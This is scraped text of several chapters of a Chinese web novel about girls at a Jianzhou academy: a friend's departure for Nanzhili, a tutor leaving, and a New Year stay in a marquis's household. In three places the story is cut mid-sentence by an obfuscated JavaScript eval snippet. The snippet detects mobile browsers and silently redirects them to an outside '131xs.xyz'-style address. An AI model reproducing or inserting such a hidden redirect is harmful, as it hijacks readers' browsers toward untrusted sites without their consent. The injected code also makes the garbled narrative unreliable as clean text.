他用筷子将长寿面小心卷起,不让代表长寿平安的细面断截,放入调羹中,盛了些热汤,递到她嘴边。 他笑得很好看,说话慢慢的,即使她是急性子,也愿意静下心听他说话。 “你不是一个人,我在,我会一辈子陪着你的,你不会孤单。我的父亲母亲,就是你的父亲母亲。我的兄嫂,也是你的兄嫂。” 她哭了,眼泪掉进面里,她张嘴吃下他喂来的面,还有象征新生与圆满的红鸡蛋。 之后,他告诉她,他和他父亲为她取了字。 “予朝,”他郑重又轻柔地唤她,“晗儿,天之将明,予卿朝晖。” 她的人生因他和他的父亲,复焕生机。 他们一起出了海,下了南洋,看过人间百态,走遍千山万川。 她用他们取的字,著书立说,名扬天下。 她以为,他们能一起实现共同的抱负。 她以为,他真能陪她一辈子的。 最后,他食言了。 瀚海阁内,烛火葳蕤,八月十八,第一炉香灭了。 10. 此处安心非是吾乡 过了寒露,建州开始转凉了,建州秋天的雨还是和夏天一样,急来急往的,让人摸不准性子。 季泠与何咨宁开始收拾斋舍,要将木箱子里的冬衣拿出来,橱柜里的夏衣收进去,还需要把夏被换成冬被。 虽然建州不下雪,可是秋冬潮气很重,晨起时,风吹过来凉飕飕的,像是把人推进冰海里。 何咨宁收拾双层书桌时,在里头发现一本略旧的书,转头问季泠:“这本书不是郑先生的吗?入夏时我看你已经看完了,怎么还在这儿?” 季泠随口应了句“什么”,偏眼一看,惊得大叫一声。 “怎么了?” 季泠只自顾喃喃道:“完了完了完了……” 是那本开春时她就借来的《东坡内制集》。郑稳那儿有许多私藏的老书,市面上很少见,他的《东坡七集》就是数十年前的印本了,如今都已经泛黄,册边起了绒毛。 季泠看了看窗外,几滴积雨在檐角处晃悠着,再扯线般滴下,雨刚好停了。 季泠拿着书往外走,何咨宁追问:“你现在去还书吗?伞带上,过会儿雨又下起来……” 季泠摆摆手喊道:“很快的,我跑着去!”声音溶于簌簌秋风中,一眨眼人就没影儿了。 何咨宁笑笑摇摇头,将所有衣裳都折好,没有将冬衣放进橱柜,而是寻了一块儿大布,挑拣了几件衣裳放进去。 将许多庶务忙理完,她的橱柜箱笼也渐渐空了,冬被虽然换上,可大约她也只能再盖个十来日。 走到季泠的橱柜旁,她的东西还是乱糟糟的,全堆在木架子和板床上,也不知道她收拾了这老半天,究竟都在做什么。 季泠走到枫漈山半山的分岔路时,顿了顿,直直往上是郑稳的寓舍,旁边分了一条小径,四周是茂密毛竹,竹林尽头有一个小潭,那儿又连着另一座小山丘,是一大片枫树林。 这儿大抵是枫漈山风景最好的地方,清幽雅致,避世远人,可以观鱼格竹,也能听风赏月。 山长真是为徐行安排了一个顶好的地方,郑先生想要这出寓舍很久了,他还是山止从前的学生呢,山长也没有松口。 季泠转身走向那处小径。 雨又急急得下起来了,已经过去半个时辰,季泠还没回来。 何咨宁收了包袱,走到斋舍外头,先头还是绿豆大的雨滴,不过须臾就膨胀成莲子大,噼里啪啦打的青瓦直震。 芳园门头的马鞍墙撑不住滂沱大雨,连成一道遮天蔽日的雨帘。 何咨宁退却不及,膝盖以下的裙子被打进来的雨水溅湿了。 又等了一个时辰,雨渐渐小了,芳园里安静下来,乌云渐渐散开,今夜是半圆月夜。 季泠还没回来,何咨宁坐立难安,撑着伞准备去找季泠,才推开门,就看见芳园门前熟悉的身影。 季泠似乎朝后招了招手,跨过积水小坑,一步一跃,跑向斋舍。 何咨宁忙撑起伞走过去接她,拉着她左看右看,好在是没怎么淋湿,鬓发沾了水汽,贴在她脸颊边,衬得季泠眼眸发亮,似乎很开心。 收了伞,季泠推着她进了屋,合上屋门,疾雨卷入屋内的草涩味渐渐散开,何咨宁才闻到别样的味道。 季泠身上染了茶香,很浓。 “你去哪儿了?”这是茉莉花茶的味道,据她所知,郑先生是不爱喝茉莉花茶的。 “还书去了呀!” 随后又很开心,四仰八叉地靠在圈椅上,拍了拍胸口喘着气儿,觉得自己今日运气实在极好。 “你都不知道,我才到徐先生那儿,立刻就下雨了,好在我跑得快……” 何咨宁察觉不对劲,“你怎去徐先生那儿了?”又瞅她许久,觉得她兴奋得过了头,“你去了快两个时辰,我着急坏了。” 季泠豪饮一壶水,终于是回过气儿了。 方才徐行身边的护卫送她回来,人高马大的,走得极快,似乎叫什么迎星,人如其名,大步流星的,像是要去逐星一般,她跟在伞下小跑,快要累死了。 “雨作大了,山里特别黑!风声很大,吹得树叶一直响……我不敢走,路又滑,就在徐先生那儿留了一会儿。” 何咨宁皱了皱眉,“你怎么是去徐先生那儿?” “之前徐先生想找郑先生借这本书,被我抢了先。我想着,现在送回去,郑先生定要说我的,倒不如直接给徐先生,若是郑先生问起书在哪儿,我就可以推给徐先生。”季泠吐吐舌头,狡黠中藏着得瑟。 何咨宁无奈摇摇头,顺手将季泠堆在衣架子上的冬衣折好放入橱柜里,又追问她:“你不是一向不喜欢跟他打交道吗?” 之前季泠被迫成了徐行的代表,时不时就要去给他送学生们的文章,每回都要被徐行挑错处,她回来至少要抱怨一刻钟的时间。 翻来覆去骂了几个月,也就说他严苛、小气、爱计较、不懂变通等诸如此类的词,要真让她骂些新的,季泠绞尽脑汁却也想不出什么。 也不知是什么让季泠转了念头,如今倒是对他颇为赞赏,“其实,他人还蛮不错的。” 季泠细数起他的优点:“教习认真,做事一丝不苟,日日焚香装扮,勉强算他整洁得体。说话嘛,也蛮好,柔声细语的,不会像郑先生那样凶我,也不会像秦先生那样嘲讽我。” 何咨宁有一搭没一搭地听着,心思全然不在此处,只想着该如何与季泠坦白她的去处。 季泠蹿了蹿椅子,迫不及待分享着:“你记得吗,荡云及笄那回,他替我取了字。” “嗯。” “这回,我投桃报李,也替他取了一个!” 何咨宁愕然,“你胆子也够大的!什么身份,敢去替徐先生取字……他没说你什么?” “没啊,他说我取得好,多谢我的心意。” 季泠摇头晃脑地回想着方才的会话,不经意瞥见书案上的信。“你那在南直隶的表亲又给你来信了?” 季泠说着,就要去看。她们的信件一向是不避讳彼此的,有时候手上忙着,还会让对方替自己读信。 何咨宁闻言,立刻松了手,准备拦住她。季泠却眼疾手快,已经将那寥寥几句话看完了。 季泠跳下椅子,终于注意到斋舍里多出来的几个包袱。 “你,要走了?” 何咨宁迟疑着,最终还是点点头。 季泠瞬间红了眼。 窗外,雨又停了,滴答滴答,青瓦上的积水滴在踏跺上。 迎星收了伞,抖落了雨水,向徐行回了话后,览风跟随其后进正厅里。 徐行将最后一壶茶倒进青花百蝶纹铃铛杯中,蒸汽氤氲,茶香弥漫,是建州独有的茉莉花香。 览风将来信奉上:“少爷,黄州府来信。” 徐行接过,裁开信封,是他的老师谭谦来的信。 两年前,他的老师谭谦初入内阁,因政见不合,得罪首辅张瑛,被贬为九江府推官,数月前迁为黄州府同知。 “磨墨吧。”徐行饮罢茉莉香片,走到书案边提笔回信。 封泥时,见到下午练的那张字,陷入沉思。 往日练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446272|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完字,他会尽早收起。今日手感好,这幅字写得不错,本想让览风拿去装裱后挂在书房里,却不料被那前来还书的学生揣测了一番。 季泠来得意外,那场雨也来得意外,徐行不得不留她片刻。 徐行早知道季泠对他那书房布置很感兴趣,索性坐在茶案边看水,对她说,“替我放到书案上吧。” 季泠“哦”了一声,徐行猜她估计又觉得他在使唤她,也不做声,只是不由勾了勾嘴角。 徐行舀水倒入提梁壶中,潺潺倾倒的水也挡不住书房里蹑手蹑脚新奇张望的动静。 不过这学生还是很有分寸,囫囵欣赏了一番,就走回正堂里。 季泠坐在茶案边,又往后挪了挪,离他远远的,徐行在想是否自己过于往日过于严苛了些,现在季泠竟然也像怕秦先生那样怕他?可他既然做了先生,玉不琢不成器,他自然要认真些,不可生出懈怠放松的念头。 季泠捋了捋头发,担心那提梁壶里的热气把自己的头发给蒸湿了,若是头发打了绺儿,未免有损形象,随后就盯着那热气许久,与徐行有一搭没一搭地聊着。 虽然年纪小,似乎也没有走出过建州,但他这学生见识却不少,想法也稀奇古怪地,徐行有几分惊讶。 后又想到她日日被秦晗三两句话提溜着的模样,还能有精神在送文章来时和他争辩,又有心思去外头伸张正义,确实是不可小觑。 季泠歪着头,看着徐行收起白毫银针的罐子,打开另一个罐子,茉莉花的清香在空中扰动。 她突然说:“先生的字极好。” 徐行这才想起那张字,客气地回她:“季姑娘的字也不错。” 不知道季泠是与谁学的字,也可能是她确实勤勉刻苦,那手字拿到京城学子里头,也是能论得上次第的。 季泠又说:“先生,我看您写着,此处安心是吾乡。” “嗯?” “可分明,您的心不安。” 徐行没说话,只是抬头看了她一眼,微笑着说:“什么意思?” 季泠没注意到他褪去暖意的眼神,只是撑着下巴看向提梁壶里的水,徐行将壶盖掀开,泥炉子的火烧的正旺,山泉水带着竹叶的清冽。 “您像这壶水,面上平平静静的,下头火煮着,里头越来越热,马上要冒泡泡了。” 她这话说的俏皮,徐行象征性发了一声笑,继续手上的活计。 京城不太平,若是建州也如此,那可不大好。 这个学生,有点太敏锐了。 但似乎,她自己不觉得。正如那日在齐家军营里,有些话是说不得的。 季泠看他仍不说话,以为他不理解,只好很有耐心地继续说:“您出的那些题,不像是寻常先生会出的题目。其实我一直想问,您为什么在建州?” 水咕噜咕噜烧沸了,水汽蒸腾,如雾如纱,季泠又看不清他。 徐行慢条斯理地热杯,冲茶,斟出茶汤后,将一只青釉铃铛杯推到她面前。 季泠被他一糊弄,立刻忘记探究,转头就去欣赏他那套茶具,品味他的手艺。 徐行走到斋舍外,清雨潇潇,竹影簌簌,远山青黛,近水幽深。 于山川声中,尚且稚嫩的少年声音在耳旁响起:“航青愿先生有山止川行之势……” 山止…… 徐行轻笑,将信烧了,火焰照亮他的面庞,纸页被吞噬的声音略掩盖住他的声音。 “览风。” “属下在。” “将信送去黄州府,我们该动身了。” 11. 人生海海聚散无常 “泠儿,别哭…”何咨宁叹了一口气,起身去拉季泠,季泠任由她拉着坐下,眼泪却是怎么也停不住。 “你要走了…”季泠哽咽着,突然看见何咨宁半开的橱柜里已经空荡无物,哭得更凶了,“我们从五岁到现在就没分开过…” 季泠这话一出,何咨宁也忍不住红了眼。 她们在宁川一块儿长大,十岁就一块儿来了建州,和父母在一起的时间都不如彼此相伴的时间长,说是姐妹二人相依为命,实在不为过。 “你不能不走吗……万一,万一那南直隶的表亲是诓你的呢!” 说到这儿,季泠自觉收了话。这件事何咨宁已经摸清了底细,她那表亲是家族里顶厉害的年轻人,早早中了举,得了贵人青眼,去南直隶读书。似乎后来又认识了什么大官家的幕僚,透露出需要找聪慧的年轻姑娘的意头,她那表亲打点许久,才为何咨宁争取到这样一个机会。 这是极好的前程,南直隶富庶,对女子多宽容,季泠听说,早年公主殿下在南直隶理政多年,招揽了很多有才之士。那儿有很多女商人、女匠人和女先生,甚至还有女讼师和女仵作,远比建州要好。 何咨宁走出去,就可以逃脱她们书院里其他姑娘的命运了。 到了南直隶,家里亲长再想说亲,也说不到那么远去。 “你生辰还没过呢,我还想求求徐先生,到时候让他也给你加字的…你都没有走出过建州…这路这么长,你没钱,又没人相伴…” 季泠越说越难过,在他们五人中,何咨宁是最小的,性子不似她和钟荡云那样活泼,天生的谨慎妥帖。她自入书院以来,没少惹麻烦,做什么都是头脑一热,莽着劲儿地冲去,若没有这个好朋友时不时拽她一把,她怕是吃亏不少。 可何咨宁要走了。 她们少小离家,一年到头也就回去那么一回,行路何其艰难。 这次一走,路途漫漫,山高水长,此生未必还能再见。 想到这儿,季泠立刻去翻箱倒柜,将自己所有攒着的银钱都翻出来,叮叮当当撒了满桌,拢共也就那么几吊子铜板。 季泠看着那些钱,总觉得还不够,坐在自己那乱糟糟的衣裳书册里,终于想到还能给她好朋友什么东西。 她还有一只素银镯子。 “泠儿!”何咨宁抓住她的手,“你别拿下来!这是你姨母留给你傍身的东西啊!” 季泠有多宝贝这个镯子,何咨宁很清楚。 当年她们二人顺着乡里进城的板车来到建州,路途耗费极大,家人是没办法相送的。 季泠的姨母惦记她,将自己腕上的素银镯子拨下来送给她,那可是她姨母当年为数不多值钱的首饰,就这样给了自己的外甥女,嘱咐她在外好好读书,千万不要亏待自己。 那只镯子挂在她腕上五年了,没有一日摘下来过。 “咨宁,穷家富路,我在书院好好的,没有花销。你这一去不知多久,初到南直隶,人事不熟,都是要使钱的!” 何咨宁何尝不知道,可她又怎能拿季泠的东西呢! “南直隶是大地方,咱们建州比不了。之前我们去齐家,你也见到了,他们都会看衣裳识人办事,你到南直隶,第一件事就是去那儿的街上走走,看看他们时兴什么,你也去弄一套来,不能初到新地方就让人看低了你……” 季泠边说,边找着荷包将所有东西装进去,又起身去检查何咨宁收拾的包袱箱笼,将自己几件体面衣裳也塞进她的行李中。 季泠突然开始了忙碌,嘴上絮絮叨叨个没完,她总是说几个词就哑了声,吞咽的声音响贯耳旁,看不见背过身后,何咨宁深愁面容,不知道她离开后,季泠独自一人,在书院又是否能够顺利度日。 十日后,何咨宁离开建州书院,一路北上,往南直隶去投奔她的表亲。 漂泊客船上,何咨宁摸了摸身上荷包,准备付下一程的船钱,却突然发现,包袱里多出来两只鼓鼓囊囊的荷包。 临行前一日,钟荡云拉着她与季泠到了侯府,非要为她送行开宴。 齐无戈与齐无咎替她把行李带到齐府,说着今晚就在齐家歇下,明日由他们四人送她去渡船口岸。 在齐家,钟荡云终于找到机会,将齐无咎喊到一处摆着茶花的偏厅,厅堂里都是茶花香,轻盈不扰人。 何咨宁将收了许久的东西交给齐无咎。 “给。”齐无咎低头看去,顺手接过,“什么?” 拉开荷包,里头是一幅琴弦。 齐无咎当即愣住了。 他以为,季泠这样爱计较的人都不介意他们隐瞒身份的事情,何咨宁应该也不介意的。 何咨宁一向对什么事情都很淡漠,他认识她这么多年,没见她发过火,也没见她不耐烦。 钟荡云与季泠日日在她耳边吵来吵去,聒噪个没完,她也不会出言训斥,甚至有时还很配合她们无聊的游戏。 “为什么?” 何咨宁没说话。 “你…还在为我们瞒你们的事情生气吗?” 何咨宁听他这话、反而觉得放下心来。齐无咎毕竟是世家孩子,心思简单,不理解她也是情理之中。 “没有,你别多想。” 见他有些难过,何咨宁想着,将要分别了,不该将场面弄得太过凄惨,于是笑了笑,十分豁达道:“我以后不会弹了,别浪费你这幅好琴弦。” 她已经把那把筝送给了季泠,还特地教了她一首曲子,要求下次再见面时,季泠要好好弹出来,她要验收成绩的。 齐无咎怔忡中,正堂里传来钟荡云与季泠呼唤她的声音,何咨宁转身离开了。 那一夜,季泠、钟荡云与何咨宁三人挤在一张床上,絮絮叨叨了一整晚,把生平所有秘密都交代了干净。 在季泠与钟荡云没注意的时候,何咨宁把季泠给她的那个绣着茉莉花的荷包塞在她的衣服里。 冬日衣裳后,多个荷包是不会轻易察觉的。 何咨宁没想到,季泠和钟荡云把这两个荷包都偷偷放进她的行李里了。 打开两只荷包,那只素银桌子,那副琴弦,全都在里面。 还有捆成捆的银票子。 里头夹了很小的一张短笺,一共就四个字,后会有期。 四个字,四个人的字迹。 何咨宁立刻把荷包绳结拉紧,神忙心乱地看向船舱外的风景,抿唇笑了笑,终于还是没忍住流了泪。 何咨宁到达南直隶后不久,南直隶就下了一场雪。 那是一场很大的雪,天与山与水一色,放眼望去雾渺渺一片,秦淮河上画舫拨着细流,一树树莹黄腊梅里缀着小团子大的雪花。 那是她在建州十五年从未看见过的盛景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446273|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何咨宁写了封信去往建州,在里头装了一只盛着雪的小竹筒,想给季泠看看建州城之外的雪与世界。 信到达建州时,建州已然开春了,里面的雪团融化成了雪水,在一路颠簸中流了干净,空余鸿德一十五年金陵城的冷冽。 何咨宁离开的那段时日,徐行也不怎么到书院里来,有一个新来的先生替他上了几次课,大家都觉得,那老先生胡子一大把,讲课却没有徐行讲得好。 再后来,徐行就彻底不见了。 季泠去拜访郑先生时,看见郑先生的书案上放着那本《东坡内制集》,顺嘴问起此事,郑先生才说,徐先生本就是暂代教职,如今有新先生来,他也就离开了。 季泠愣了愣,点点头,还是觉得有几分可惜,不过却又觉得合情合理,他是京城翰林院的官员,不论是什么原因来到建州,总之不会长留于此。 徐行离开的那日,正值立冬。 建州的冬天不下雪,可风吹来如刀割,湿涔涔的寒意钻过鹤氅,钻进骨缝里。 建州城外,徐行简装上路。 他并未与过多人说明他的离去。才出城百十步,有人喊住了他,徐行回身,惊讶看着城门处。 来人双鬓生白,神情淡然,徐行行礼道:“秦先生。”秦晗的到来在他意料之外。 “确定要走了吗?”她笑着,透过徐行,望向二十年前的那道虚影,不等徐行回复,又自顾自叹道:“建州,确实不是久留之地。” “您若愿意,可同润旻北上,父亲母亲都很惦记您。” “不必了,这里才是我最好的归宿。”秦晗缓缓吐了口气,“在这书院活了二十年,如今,真要离开,反而是走不掉的。” 说到此处,秦晗想到一人,无奈道:“而且,我还有学生在此。” 徐行想到那天不怕地不怕的学生在秦晗面前垂眸乖巧的模样,不禁摇头笑笑,“有这样的学生陪您解闷,倒也极好。” 解闷? 季泠若是听到这样的话,估计又要生气了。她可用了四年才得了她的认可。 秦晗淡淡回忆着,这个姑娘与她年轻时的模样渐渐重合。 徐翰科派来的人已行至城门,朝徐行与秦晗恭敬一拜。 “我这个学生啊,别的都好,就是年纪小,太冲动。可这样的冲动,叫人看着,觉着自己也年轻起来,平生出几分勇气。”秦晗说的很缓,徐行没有出声打扰她。 “若是秦先生愿意,日后,可带她到京城来,见过更广阔的天地,兴许就能磨砺地平稳些。” 京城吗?她从未去过京城,也是一辈子也不想去的。 她所有美好的一切,都因为京城毁灭。 不过,季泠若是能走到京城去,兴许会有一番作为。 时过境迁,如今年轻人的境况,可比她那时候要好多了。 秦晗摇摇头,转换了话题,“你的婚事呢?” “父亲母亲说,待应家小姐病愈再议。” “陕西应侍郎家?” 徐行点点头,秦晗只叹,“倒是可惜了。” 徐行并未深思,她说的可惜究竟是何意。 日暮时分,徐行的马车远去了。 正如当年,她的未婚夫君要回京城去,她在建州城送别,满心期盼他在婚期之前赶回来。 半年后,她等到的,是他的死讯。 18. 齐府日常(1) 从建州出发,辛苦周转波折许久,季泠三人终于赶在腊月三十当日抵达齐府。 齐侯爷和齐无咎早已回来多日。马车一进齐府,齐家众人就前来迎接他们。 季泠有些无措,她是一个外来之人,之后就要寄居在这样钟鸣鼎食之家了,若是回宁川告知乡亲,任谁都要说一句好福气。 可惜季泠不是这样性子的人。钟荡云已经是寄养的女儿,她托了钟荡云的福气来到京城,一步登天地进入侯府,若不小心谨慎,只会给自己的好友平添麻烦,她不能这样做。 所以从马车一进入京城开始,她就紧张又慌乱。 齐无戈和钟荡云因为迫切想见到齐夫人,都没有发现季泠的异常。这反而让她舒一口气。这样与她往日表现相悖的一面,她不希望任何人看见。 越靠近齐府,季泠越放空,似乎所有情绪都在极端的紧张之下被蒸发了,感觉自己已经察觉不到皮肉的存在。 她没来由得想到小时候阿婆给她喂的苹果,将苹果对半切开,用勺子把果茸细细地刮出来,刮到最后只剩下一层薄薄的苹果皮。倘若这时候再刮一层,苹果皮就要破了。 她现在就是那样的半张苹果皮。 季泠就跟随着齐无戈和钟荡云一起地走进主院正堂,齐无戈在前头欢悦地走着,钟荡云在中间激动地蹦跳,季泠在最后亦步亦趋。 她只是随意地抬头,就见此生不可及的富贵荣华,知道雕栏玉砌的高不可攀,她立刻收回了视线,只透过钟荡云和齐无戈的身影看向前方。 “父亲,母亲。” “舅舅,舅母!” “侯爷,夫人。” 季泠紧跟着他们称呼,尽力让自己的声音与他们同时出现又同时消失,避免自己太过突出怪异。 齐侯爷点点头,看着三人:“怎么这么迟回来?无咎比你们晚几日动身,都早几日到京了。” 钟荡云刚想说什么,就被齐无戈打断:“我们一路北上,各州各府风光甚好,忍不住流连几日,故而耽搁了行程。” 钟荡云眼睛一转,雀跃地跑到齐侯爷身边,拉住他的手:“舅舅您不知道,这一路我们去了好多地方,杭州、淮安、济宁,见到了好多不同的风景,也结识了一些萍水相逢的朋友,可有意思了!” “哦?有意思即可。只是日后出门远行,还是要提前安排好行程,免得后半程辛苦赶路。” 齐无戈与钟荡云点点头。季泠就躲在后面没说话。 好在如今齐家人齐聚一堂,齐侯爷就算不说话,又有人紧接而来,没将话掉在地上。 “荡云,这位就是你在信中说的好友吧?” 季泠抬头就见到齐夫人站了起来,顿时吸了一口气。 齐夫人穿着覃紫色方胜纹竖领大襟长衫,脸颊瘦削,眼神锐利,站起来和齐无戈竟然一般高。 钟荡云立刻从她舅舅身边跑回季泠身边,拉着季泠往前走:“正是呢舅母。这位是季泠,是我们建州书院中最厉害的姑娘,门门甲等,所有男子都不如她。” 季泠被钟荡云夸得有些害羞,看着瘦高的齐夫人,屈身行了个礼:“季泠见过齐夫人。” 齐夫人看着威严,对待家中的孩子却很温柔:“孩子,不必拘谨,你既是荡云和无戈的朋友,那自然就是齐家的小客人。你远离父母,跋涉千里到京城来,也是不容易,是个胆色十足、断而敢行的好姑娘。既然来了齐府,以后就叫我伯母吧,不必以夫人称呼。” 她微笑看着季泠,随后转头和钟荡云说:“既然是荡云的好友,那就暂且安在你的钟鼓园中,你看看安排哪处厢房给季泠合适。” 钟荡云很开心,直接揽上季泠的肩膀:“那自然是我屋边的东厢房最好,这样我每日一起身就能见到泠儿,我可是片刻都离不开她的。” 屋子里的人都笑开了,季泠也被她们感染,暂时忘却了先前的种种忧虑。 齐家夫妇很快就让他们回去先休整安顿,季泠就随着钟荡云去了她的钟鼓园。 一走进园子中,季泠就惊叹:“荡云,你这园子简直像个演武场...” 季泠看过去,过了一道月洞门,两侧的抄手游廊边种着几颗高大的香樟树,也没有种什么花草,没有假山流水,就在树边扎了两只秋千,安了两张石桌,剩下的全是空地。 钟荡云得意地笑了:“那是自然,搞来的那些花草娇贵,我曾经在此练枪,就不小心将花都秃噜干净了,我也是于心不忍。后来就让舅母将无用的东西都清出去,省得让我全糟蹋了。之前我还觉得这个园子空旷,如今你来了,我总算有个伴了。” 齐家夫妇疼爱她,将仅次于主院的大院子给了钟荡云,连自家亲生的三个孩子都窝在一个院子里,钟荡云却可以一人独享这个园子。 钟荡云指了指与先前月洞门相对的另一侧一处门:“这道门过去,穿过景亭,就到我大哥他们的院子里了,如果你喜欢想找他们玩,就从这儿走,不必在外头绕一圈。” 季泠点点头,钟荡云自然可以抄小道去寻兄弟玩,她去算个什么事儿。 在钟荡云屋里几个丫头的帮助下,季泠就算是在东厢房安顿下来了。 齐家侯府,只是一间厢房,都比季泠在宁川的家都要大不少。 入夜将要安寝时,她合上了门,自己一人仔仔细细地看了一下自己接下来要生活的屋子。 她的里间靠近钟荡云的主屋,床榻皆全,若是平日无事,她还能在窗边看书煮茶,这可是她从前想都不敢想的雅闲趣事。 厢房另一侧还有一个小一些的书房,书架上倒是没什么书,她可以按自己的喜好随意添置。 书房中恰巧有一张琴案,季泠就将何咨宁赠给她的筝放在琴案上,打定主意,在齐府该好好学一些音律之事,也好陶冶品性,免得叫人看低了,觉得她是个建州来的不通文雅韵事的野丫头。 爆竹声中一岁除,季泠第一次与外家人过了年,她还有些感慨叹惜。 原来认为自己已经对宁川没有什么感情了,可这样的愁绪在见到齐府一家团圆时,就被激发出来。 京城终归不是她自小长大的地方,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446280|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是她生活惯了的地方,这里也许有三两朋友,有朗朗前程,可是却没有她可以依仗的容身之所。 齐家很好,齐家人待她也很好,但总归是少了几分落叶归根的安心感。 在齐家住了十几日,除了烧饭洗衣这样的事之外,季泠基本事事亲力亲为,钟荡云屋中有四个贴身女使,银旭、银霞、银薇、银芳。 她常用银旭和银霞,因此就让银薇、银芳两人多照顾东厢房这里。 季泠没有叫人伺候过,甚至从前在家,她干的都是伺候父母、照顾弟妹的活。因此她也少麻烦两人,这两个丫头倒也乐得清闲。 到了元宵佳节,钟荡云拉着季泠上长街去看灯会,齐家三子也随他们去了。 钟荡云穿了一身木红交领琵琶袖上袄,配了一件杂宝暗纹缎织金马面裙,领口和袖口都加了一圈挡风保暖的兔毛,看上去像个活泼的年画娃娃。 她拉着季泠和年仅十一的齐三公子齐无秽在花灯间跑跑跳跳,三个人欢闹的笑声像花灯下缀着的铃铛,人流飘过带动的每一阵风都能诱得她们乐不可支。 正在季泠和钟荡云认真地看着齐无秽挑选的花灯时,有人站在她两身后,拍了拍两人肩膀。 季泠和钟荡云齐齐转头,就看见烟火绽开的红光之中,出现一张牛鬼脸,季泠吓得尖叫一声,花容失色。 钟荡云也被吓了一跳,但她明显就像是见过此招,立刻追上去将那人的面具扯下。 “大哥!你每次都来这招!真是没新意!” 季泠吓得还没缓过来,弯腰撑在齐无秽肩上,就看见钟荡云追着齐无戈直打他。 齐无戈绕着齐无咎兜圈子,时不时将齐无咎推出去挡着钟荡云的巴掌,得瑟地笑话她:“再没有心意,你们不也还是被我吓到了!这招真是屡试不爽哈哈哈哈!” 齐无秽付了钱,最终自己选定了一只兔子花灯,拉着季泠的袖子,要她陪着自己去前头看舞狮,撇了撇嘴:“大哥总喜欢这样惹人。每回都会被云姐姐打,可没回都不收敛。也只有云姐姐才会一直被他吓到,我和二哥可算是见识够了。” 季泠来了兴趣:“你大哥原来是这样的人?在建州书院中时,他可是看起来很正经的,在你父亲军中也颇有声望。我曾见过他练兵,颇有威严呢。” 齐无秽却笑了:“泠姐姐,你被他给骗了。大哥自恃自己是抚远侯世子,打了几场战,练过几年兵,长得结实俊朗些,走在外头时就觉得众人都在看他,每每都将头仰到天上去,总是喜欢假正经。实际上,家里最烦人、最聒噪的就是他了。你们总说我顽皮,可是他捣蛋起来,父亲和母亲都要被惹生气的。” 季泠听着齐三的描述,再回想之前见过的齐无戈,总感觉是完全不同的两个人。 “你在背后这样编排你大哥,就不怕我去告诉他?当心他来寻你的麻烦。” 季泠故意恶狠狠地威胁齐无秽,看看这小机灵会如何应对。 齐无秽却不在意:“大哥说了,你迟早会知道他是什么样的人,他不可能在你面前装一辈子的。” 19. 齐府日常(2) 季泠听见这话却愣住了,她不确定地试探:“你大哥,说起我?” 齐无秽拉着季泠挤进舞狮观众的最前列,目不转睛地盯着艺人舞动,狮子身上的金线如夕阳映衬的流云一样闪烁。 “是啊,他总说起你,他说建州书院是个有意思的地方,你是最有意思的人。我二哥还嗤之以鼻呢,他说你琴也不会弹,曲也不会听,只会一天到晚找人吵架,哪里有意思了。” “泠儿!”齐无秽的话音刚落,在喧嚣人群之中,季泠立刻就捕捉到这道声音。 她转头张望,一片黑压压的人群都在朝她挤来,就想占了她的位置好看清舞狮。 她对上无数人的眼睛,又立刻闪避,最终终于看见叫她的那双眼睛。 是齐无戈。 他提着一盏走马灯,踮起脚尖看向她,身后是踩着高跷往前跳的江湖艺人,一个个的从他身边跳过。 “你去吧泠姐姐,我可以自己看。” 齐无秽没有看向她,却仿佛什么都知道,直接松开了她的手,从她手上接过了兔子灯。 季泠逆着前来看舞狮的人群,将头发都给挤乱了,大袖都夹在人群之间拔不出来,终于是踉踉跄跄地逃脱,狼狈地出现在齐无戈的面前。 “给。元宵喜乐。” 季泠接过他手中的走马灯,轮轴上的剪纸透过烛光全部映射在屏上,灯角上垂下六条大红流苏,似有若无地碰到季泠的手背,她不由得攥紧了些,感觉到手心出了薄薄一层汗。 春到人间人似玉,灯烧月下月入银。 季泠正想说些什么时,一阵喧闹传来。 齐无戈往右侧退了几步,给后面舞龙的长队让了路。 她感觉心里空了一拍,退到靠近舞狮的左侧,透过遨游起伏的长兴百叶龙,看见齐无戈有些模糊的脸。 他在对她笑吗? 季泠看不清,但是她笑了。 一夜龙鱼舞。 元宵过后,五人就正式入了族学。 季泠学得认真,任何问题也是一点就通,不仅得了学究夸赞,还带得齐无秽这样平日里没正行的滑头也开始好好读书。 齐夫人不得不感叹耳濡目染原来如此重要。 “荡云将季家姑娘带来京城,倒是无心插柳柳成荫了。我们家除了老二,剩下的都是好动的泼皮,季姑娘来了之后,倒是都安生了下来,不仅老大成熟了些,连老三也肯用功读书了。前几日还在我跟前说,他有什么不通的,就去问他泠姐姐,倒是都能给他说通来。” 齐夫人看着如今家和事兴,心里总是高兴的。 